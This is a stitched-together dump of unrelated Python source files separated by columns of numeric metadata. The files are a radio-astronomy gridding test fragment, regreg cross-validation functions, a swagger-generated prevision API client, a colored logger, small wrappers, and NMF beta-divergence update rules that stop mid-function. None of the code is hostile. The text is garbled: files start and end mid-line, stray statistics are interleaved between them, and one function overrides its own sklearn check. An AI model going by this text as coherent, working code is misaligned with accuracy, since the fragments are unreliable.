outputs['uniform_filter'], atol = 1e-8) # No uniform filter given with the test, does have errors though due to errors in bin_n # As arrays get larger the bin_n value will become further apart than the IDL output due to larger precision errors. npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
38.292135
135
0.682463
2,723
20,448
4.843555
0.100624
0.045492
0.054136
0.079612
0.816362
0.808249
0.806051
0.804913
0.78664
0.781181
0
0.020818
0.217723
20,448
534
136
38.292135
0.803701
0.049149
0
0.865297
0
0
0.149627
0.001527
0
0
0
0
0.093607
1
0.022831
false
0
0.015982
0.004566
0.043379
0.018265
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c8cfb1372a4913b185d438dd4ffe19fc99c749c7
5,664
py
Python
regreg/paths/cross_validate.py
vishalbelsare/regreg
d1b62cc43cdd83331f2b0817b0ae099d5ef97966
[ "BSD-2-Clause" ]
11
2016-02-25T01:53:03.000Z
2020-11-30T00:59:46.000Z
regreg/paths/cross_validate.py
vishalbelsare/regreg
d1b62cc43cdd83331f2b0817b0ae099d5ef97966
[ "BSD-2-Clause" ]
21
2015-09-17T19:18:09.000Z
2021-04-28T06:15:02.000Z
regreg/paths/cross_validate.py
vishalbelsare/regreg
d1b62cc43cdd83331f2b0817b0ae099d5ef97966
[ "BSD-2-Clause" ]
8
2016-03-24T00:03:03.000Z
2019-08-25T23:40:42.000Z
import numpy as np from joblib.parallel import Parallel, delayed have_sklearn = True try: from sklearn.model_selection import check_cv except ImportError: have_sklearn = False pass from . import strong_rules def cross_validate(path_obj, lagrange_seq, path_fitter=strong_rules, initial_data=None, cv=5, group_labels=None, n_jobs=-1, score=lambda x,y: np.linalg.norm(x-y)**2 / y.shape[0], verbose=True, inner_tol=1.e-5): ''' Cross validates a path fitter over a set of Lagrange parameters. Adjusts coefficient of subsampled loss by fraction ntrain / nsample. Parameters ---------- path_obj : group_path ''' # assumes that full data of path_obj.saturated_loss # is the same as # Compute paths for all folds response = path_obj.saturated_loss.data nsample = response.shape[0] have_sklearn = False if have_sklearn: cv = check_cv(cv) folds = list(cv.split(range(nsample), range(nsample))) else: if type(cv) != type(3): raise ValueError('without sklearn, cv should be an integer') groups = np.floor(np.arange(nsample) / nsample * cv).astype(np.int) np.random.shuffle(groups) folds = [(groups != g, groups == g) for g in np.unique(groups)] # Loop over folds, computing path # for each (train, test) if initial_data is None: initial_data = (path_obj.solution, path_obj.grad_solution) def fit_fold(path_obj, lagrange_seq, initial_data, test, train, inner_tol): train_path = path_obj.subsample(train) train_path.saturated_loss.coef *= train.shape[0] / train.sum() train_results = path_fitter(train_path, lagrange_seq, initial_data, inner_tol=inner_tol) return train_results jobs = (delayed(fit_fold)(path_obj, lagrange_seq, initial_data, test, train, inner_tol) for train, test in folds) # Execute the jobs in parallel using joblib results = Parallel(n_jobs=n_jobs, verbose=verbose, prefer="threads")(jobs) # Form the linear predictors and responses linpred_responses = [(path_obj.linpred(result['beta'], path_obj.X, train_test[1]), response[train_test[1]]) for train_test, result in zip(folds, results)] scores = [[score(linpred.T[i].T, y) for i in range(linpred.shape[-1])] for (linpred, y) in linpred_responses] return np.mean(scores, 0), np.std(scores, 0) def cross_validate_alt(path_obj, fit_fold, fit_args, lagrange_seq, path_fitter=strong_rules, initial_data=None, cv=5, group_labels=None, n_jobs=-1, score=lambda x,y: np.linalg.norm(x-y)**2 / y.shape[0], verbose=True, inner_tol=1.e-5): ''' Cross validates a path fitter over a set of Lagrange parameters. Adjusts coefficient of subsampled loss by fraction ntrain / nsample. Parameters ---------- path_obj : group_path ''' # assumes that full data of path_obj.saturated_loss # is the same as # Compute paths for all folds response = path_obj.saturated_loss.data nsample = response.shape[0] have_sklearn = False if have_sklearn: cv = check_cv(cv) folds = list(cv.split(range(nsample), range(nsample))) else: if type(cv) != type(3): raise ValueError('without sklearn, cv should be an integer') groups = np.floor(np.arange(nsample) / nsample * cv).astype(np.int) np.random.shuffle(groups) folds = [(groups != g, groups == g) for g in np.unique(groups)] if initial_data is None: initial_data = (path_obj.solution, path_obj.grad_solution) # Loop over folds, computing path # for each (train, test) jobs = (delayed(fit_fold)(lagrange_seq, test, train, path_fitter, initial_data, *fit_args) for train, test in folds) # Execute the jobs in parallel using joblib results = Parallel(n_jobs=n_jobs, verbose=verbose, prefer="threads")(jobs) # Form the linear predictors and responses linpred_responses = [(path_obj.linpred(result['beta'], path_obj.X, train_test[1]), response[train_test[1]]) for train_test, result in zip(folds, results)] scores = [[score(linpred.T[i].T, y) for i in range(linpred.shape[-1])] for (linpred, y) in linpred_responses] return np.mean(scores, 0), np.std(scores, 0)
31.642458
113
0.512712
630
5,664
4.452381
0.21746
0.047415
0.022816
0.028521
0.831373
0.831373
0.831373
0.831373
0.831373
0.801426
0
0.007967
0.40166
5,664
178
114
31.820225
0.819711
0.146186
0
0.781818
0
0
0.021478
0
0
0
0
0
0
1
0.027273
false
0.009091
0.045455
0
0.1
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
cdc5f470bbf7c8ad47c16ca6bf03407da35ae31d
72
py
Python
chapter08/packt-calc/packt_calc/cli.py
PacktPublishing/Migrating-from-Python-2-to-Python-3
1cb70b7fce12fe11bc2a25a86cbe3281d544f81d
[ "MIT" ]
null
null
null
chapter08/packt-calc/packt_calc/cli.py
PacktPublishing/Migrating-from-Python-2-to-Python-3
1cb70b7fce12fe11bc2a25a86cbe3281d544f81d
[ "MIT" ]
null
null
null
chapter08/packt-calc/packt_calc/cli.py
PacktPublishing/Migrating-from-Python-2-to-Python-3
1cb70b7fce12fe11bc2a25a86cbe3281d544f81d
[ "MIT" ]
null
null
null
from packt_calc.calc import start_server def main(): start_server()
18
40
0.763889
11
72
4.727273
0.727273
0.423077
0
0
0
0
0
0
0
0
0
0
0.152778
72
4
41
18
0.852459
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
cde3b315b713c4e0d3685d5e94f5fba52f24a7ca
242
py
Python
geomag/__init__.py
lobo-23/bidds-debrief
e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c
[ "MIT" ]
null
null
null
geomag/__init__.py
lobo-23/bidds-debrief
e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c
[ "MIT" ]
null
null
null
geomag/__init__.py
lobo-23/bidds-debrief
e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c
[ "MIT" ]
null
null
null
from .model import WorldMagneticModel def declination(*args, **kwargs): return WorldMagneticModel().calc_field(*args, **kwargs).declination def field(*args, **kwargs): return WorldMagneticModel().calc_field(*args, **kwargs).field
24.2
71
0.739669
26
242
6.807692
0.423077
0.225989
0.254237
0.384181
0.59887
0.59887
0.59887
0.59887
0
0
0
0
0.115702
242
9
72
26.888889
0.827103
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
true
0
0.2
0.4
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
9
cde81b5ecccb3e9ab1e34665fbdcbd3059beca85
22,129
py
Python
timelight_ai_python_api_client/api/prevision_api.py
timelight-ai/python-api-client
7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39
[ "MIT" ]
null
null
null
timelight_ai_python_api_client/api/prevision_api.py
timelight-ai/python-api-client
7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39
[ "MIT" ]
null
null
null
timelight_ai_python_api_client/api/prevision_api.py
timelight-ai/python-api-client
7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39
[ "MIT" ]
null
null
null
# coding: utf-8 """ timelight This is the timelight api. # noqa: E501 OpenAPI spec version: 1.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from timelight_ai_python_api_client.api_client import ApiClient class PrevisionApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def v1_prevision_group_apply_prevision_post(self, prevision_apply_group_dto, **kwargs): # noqa: E501 """Apply a source prevision to the whole group # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_group_apply_prevision_post(prevision_apply_group_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionApplyGroupDto prevision_apply_group_dto: (required) :return: PrevisionApplyGroupResponseDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, **kwargs) # noqa: E501 else: (data) = self.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, **kwargs) # noqa: E501 return data def v1_prevision_group_apply_prevision_post_with_http_info(self, prevision_apply_group_dto, **kwargs): # noqa: E501 """Apply a source prevision to the whole group # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionApplyGroupDto prevision_apply_group_dto: (required) :return: PrevisionApplyGroupResponseDto If the method is called asynchronously, returns the request thread. """ all_params = ['prevision_apply_group_dto'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method v1_prevision_group_apply_prevision_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'prevision_apply_group_dto' is set if ('prevision_apply_group_dto' not in params or params['prevision_apply_group_dto'] is None): raise ValueError("Missing the required parameter `prevision_apply_group_dto` when calling `v1_prevision_group_apply_prevision_post`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'prevision_apply_group_dto' in params: body_params = params['prevision_apply_group_dto'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 return self.api_client.call_api( '/v1/prevision/group-apply-prevision', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PrevisionApplyGroupResponseDto', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def v1_prevision_list_source_id_year_get(self, year, source_id, **kwargs): # noqa: E501 """Fetch data previsions for a given year # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_list_source_id_year_get(year, source_id, async_req=True) >>> result = thread.get() :param async_req bool :param float year: (required) :param float source_id: (required) :return: PrevisionListDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, **kwargs) # noqa: E501 else: (data) = self.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, **kwargs) # noqa: E501 return data def v1_prevision_list_source_id_year_get_with_http_info(self, year, source_id, **kwargs): # noqa: E501 """Fetch data previsions for a given year # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, async_req=True) >>> result = thread.get() :param async_req bool :param float year: (required) :param float source_id: (required) :return: PrevisionListDto If the method is called asynchronously, returns the request thread. """ all_params = ['year', 'source_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method v1_prevision_list_source_id_year_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `v1_prevision_list_source_id_year_get`") # noqa: E501 # verify the required parameter 'source_id' is set if ('source_id' not in params or params['source_id'] is None): raise ValueError("Missing the required parameter `source_id` when calling `v1_prevision_list_source_id_year_get`") # noqa: E501 collection_formats = {} path_params = {} if 'year' in params: path_params['year'] = params['year'] # noqa: E501 if 'source_id' in params: path_params['sourceId'] = params['source_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 return self.api_client.call_api( '/v1/prevision/list/{sourceId}/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PrevisionListDto', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def v1_prevision_save_default_previsions_source_id_year_post(self, year, source_id, **kwargs): # noqa: E501 """Generate default previsions for the source and save them # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_save_default_previsions_source_id_year_post(year, source_id, async_req=True) >>> result = thread.get() :param async_req bool :param float year: (required) :param float source_id: (required) :return: PrevisionBulkSaveResultDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, **kwargs) # noqa: E501 else: (data) = self.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, **kwargs) # noqa: E501 return data def v1_prevision_save_default_previsions_source_id_year_post_with_http_info(self, year, source_id, **kwargs): # noqa: E501 """Generate default previsions for the source and save them # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, async_req=True) >>> result = thread.get() :param async_req bool :param float year: (required) :param float source_id: (required) :return: PrevisionBulkSaveResultDto If the method is called asynchronously, returns the request thread. """ all_params = ['year', 'source_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method v1_prevision_save_default_previsions_source_id_year_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `v1_prevision_save_default_previsions_source_id_year_post`") # noqa: E501 # verify the required parameter 'source_id' is set if ('source_id' not in params or params['source_id'] is None): raise ValueError("Missing the required parameter `source_id` when calling `v1_prevision_save_default_previsions_source_id_year_post`") # noqa: E501 collection_formats = {} path_params = {} if 'year' in params: path_params['year'] = params['year'] # noqa: E501 if 'source_id' in params: path_params['sourceId'] = params['source_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 return self.api_client.call_api( '/v1/prevision/save-default-previsions/{sourceId}/{year}', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PrevisionBulkSaveResultDto', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def v1_prevision_save_post(self, prevision_bulk_save_dto, **kwargs): # noqa: E501 """Save many previsions at once # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_save_post(prevision_bulk_save_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionBulkSaveDto prevision_bulk_save_dto: (required) :return: PrevisionBulkSaveResultDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, **kwargs) # noqa: E501 else: (data) = self.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, **kwargs) # noqa: E501 return data def v1_prevision_save_post_with_http_info(self, prevision_bulk_save_dto, **kwargs): # noqa: E501 """Save many previsions at once # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionBulkSaveDto prevision_bulk_save_dto: (required) :return: PrevisionBulkSaveResultDto If the method is called asynchronously, returns the request thread. """ all_params = ['prevision_bulk_save_dto'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method v1_prevision_save_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'prevision_bulk_save_dto' is set if ('prevision_bulk_save_dto' not in params or params['prevision_bulk_save_dto'] is None): raise ValueError("Missing the required parameter `prevision_bulk_save_dto` when calling `v1_prevision_save_post`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'prevision_bulk_save_dto' in params: body_params = params['prevision_bulk_save_dto'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 return self.api_client.call_api( '/v1/prevision/save', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PrevisionBulkSaveResultDto', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def v1_prevision_update_patch(self, prevision_patch_dto, **kwargs): # noqa: E501 """Update a specific prevision # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_update_patch(prevision_patch_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionPatchDto prevision_patch_dto: (required) :return: PrevisionUpdateResultDto If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.v1_prevision_update_patch_with_http_info(prevision_patch_dto, **kwargs) # noqa: E501 else: (data) = self.v1_prevision_update_patch_with_http_info(prevision_patch_dto, **kwargs) # noqa: E501 return data def v1_prevision_update_patch_with_http_info(self, prevision_patch_dto, **kwargs): # noqa: E501 """Update a specific prevision # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_prevision_update_patch_with_http_info(prevision_patch_dto, async_req=True) >>> result = thread.get() :param async_req bool :param PrevisionPatchDto prevision_patch_dto: (required) :return: PrevisionUpdateResultDto If the method is called asynchronously, returns the request thread. """ all_params = ['prevision_patch_dto'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method v1_prevision_update_patch" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'prevision_patch_dto' is set if ('prevision_patch_dto' not in params or params['prevision_patch_dto'] is None): raise ValueError("Missing the required parameter `prevision_patch_dto` when calling `v1_prevision_update_patch`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'prevision_patch_dto' in params: body_params = params['prevision_patch_dto'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 return self.api_client.call_api( '/v1/prevision/update', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PrevisionUpdateResultDto', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
41.285448
160
0.637218
2,581
22,129
5.139868
0.066641
0.043419
0.021107
0.027137
0.957184
0.940374
0.934193
0.901101
0.899668
0.887306
0
0.016959
0.277871
22,129
535
161
41.362617
0.813204
0.309684
0
0.761246
1
0
0.214271
0.093805
0
0
0
0
0
1
0.038062
false
0
0.013841
0
0.107266
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
b562880a32ee09e1871801e6f7446cc2e852907c
2,323
py
Python
logger.py
collinkleest/PyBot
10b2786eebfdc4bcee5b7c14ef52000aaed35409
[ "MIT" ]
null
null
null
logger.py
collinkleest/PyBot
10b2786eebfdc4bcee5b7c14ef52000aaed35409
[ "MIT" ]
null
null
null
logger.py
collinkleest/PyBot
10b2786eebfdc4bcee5b7c14ef52000aaed35409
[ "MIT" ]
null
null
null
from datetime import datetime import socket class Colors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' class Logger(object): HOST_NAME = socket.gethostname() def __init__(self): pass def info(self, log_string): current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}INFO{Colors.ENDC}: {log_string}') def error(self, log_string): current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.FAIL}ERROR{Colors.ENDC}: {log_string}') def success(self, log_string): current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKGREEN}SUCCESS{Colors.ENDC}: {log_string}') def warning(self, log_string): current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.WARNING}WARNING{Colors.ENDC}: {log_string}') def debug(self, log_string): current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}DEBUG{Colors.ENDC}: {log_string}') def verbose(self, log_string): # TODO: ADD VERBOSE OUTPUT current_date_time = datetime.now() current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S") print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}DEBUG{Colors.ENDC}: {log_string}')
43.018519
163
0.67542
338
2,323
4.39645
0.168639
0.177658
0.242261
0.145357
0.783311
0.722073
0.722073
0.722073
0.722073
0.722073
0
0.021527
0.160138
2,323
53
164
43.830189
0.740133
0.010331
0
0.35
0
0.15
0.44667
0.333043
0
0
0
0.018868
0
1
0.175
false
0.025
0.05
0
0.525
0.15
0
0
0
null
0
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
8
b5a242087a8658ff5acf9fa1c3860f40e3d6fe23
161
py
Python
teletype/io/__init__.py
jkwill87/teletype
e7290ed53f8e631c798c438607c0b6211c4aaab4
[ "MIT" ]
15
2018-11-27T08:47:39.000Z
2021-12-27T11:44:33.000Z
teletype/io/__init__.py
jkwill87/teletype
e7290ed53f8e631c798c438607c0b6211c4aaab4
[ "MIT" ]
2
2018-12-14T04:42:31.000Z
2018-12-14T04:42:31.000Z
teletype/io/__init__.py
jkwill87/teletype
e7290ed53f8e631c798c438607c0b6211c4aaab4
[ "MIT" ]
2
2020-02-01T20:43:54.000Z
2020-07-28T17:02:02.000Z
from teletype import IS_WINDOWS from teletype.io.common import * if IS_WINDOWS: from teletype.io.windows import * else: from teletype.io.posix import *
20.125
37
0.757764
24
161
5
0.416667
0.4
0.35
0.35
0.383333
0
0
0
0
0
0
0
0.173913
161
7
38
23
0.902256
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
b5b71907873a055658b112c916269519ab40ed1c
7,369
py
Python
single_channel/update_rules.py
TeunKrikke/SourceSeparationNMF
cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0
[ "MIT" ]
null
null
null
single_channel/update_rules.py
TeunKrikke/SourceSeparationNMF
cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0
[ "MIT" ]
null
null
null
single_channel/update_rules.py
TeunKrikke/SourceSeparationNMF
cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0
[ "MIT" ]
null
null
null
import theano as th from theano import tensor as T from utils import normal, convolution, normalise_W, normalise_H, shift def update_w_beta(V, W, H, beta=0, conv=False, norm_W=0, K=0, norm_size=0): """ Update W according the beta divergence Keyword arguments: V -- the magnitude of the input signal W -- the frequency matrix for each source F x K H -- the activation matrix for each source K x N convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False) norm_W -- normalise the W matrix with L1 norm (1) or L2 norm (2) (default 0) beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0) """ if conv: V_hat = convolution(W,H,K) one_vshape = T.ones(V.shape) for k in range(K): if beta == 2: # W = W .* (V*H')./(W*(H*H')) W = T.mul(W, T.dot(V, T.transpose(H))/T.dot(W,T.dot(H, T.transpose(H)))) # beta = 1 # W = W .* ((V./V_ap)*H.')./repmat(sum(H,2)',F,1); # scale = sum(W,1); elif beta == 1: # W = T.set_subtensor(W, T.mul(W, T.dot((V/V_hat), T.transpose(shift(H, k))) / T.extra_ops.repeat(shift(H, k).sum(axis=1), V.shape[0]).reshape(W.shape))) # W[:,:,k] = T.mul(W, T.dot((V/V_hat), T.transpose(shift(H, k))) / T.extra_ops.repeat(shift(H, k).sum(axis=1), V.shape[0]).reshape(W.shape)) W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot((V/V_hat), T.transpose(shift(H, k)))/ T.dot(one_vshape,T.transpose(shift(H,k))))) # beta = 0 else: W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot(T.mul(V, T.power(V_hat,beta-2)), T.transpose(shift(H, k))) / T.dot(T.power(V_hat,beta-1), T.transpose(shift(H, k))))) else: V_hat = normal(W,H) # beta = 2 if beta == 2: # W = W .* (V*H')./(W*(H*H')) W = T.mul(W, T.dot(V, T.transpose(H))/T.dot(W,T.dot(H, T.transpose(H)))) # beta = 1 # W = W .* ((V./V_ap)*H.')./repmat(sum(H,2)',F,1); # scale = sum(W,1); elif beta == 1: W = T.mul(W, T.dot((V/V_hat), T.transpose(H)) / T.extra_ops.repeat(H.sum(axis=1), V.shape[0]).reshape(W.shape)) # beta = 0 else: W = T.mul(W, T.dot(T.mul(V, T.power(V_hat,beta-2)), T.transpose(H)) / T.dot(T.power(V_hat,beta-1), T.transpose(H))) if norm_W > 0: return normalise_W(W, norm_W, norm_size) else: return W def update_h_beta(V, W, H, beta=0, conv=False, norm_H=0, K=0, norm_size=0): """ Update H according the beta divergence Keyword arguments: V -- the magnitude of the input signal W -- the frequency matrix for each source F x K H -- the activation matrix for each source K x N convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False) norm_H -- normalise the H matrix with L1 norm (1) or L2 norm (2) (default 0) beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0) """ if conv: one_vshape = T.ones(V.shape) V_hat = convolution(W,H, K) 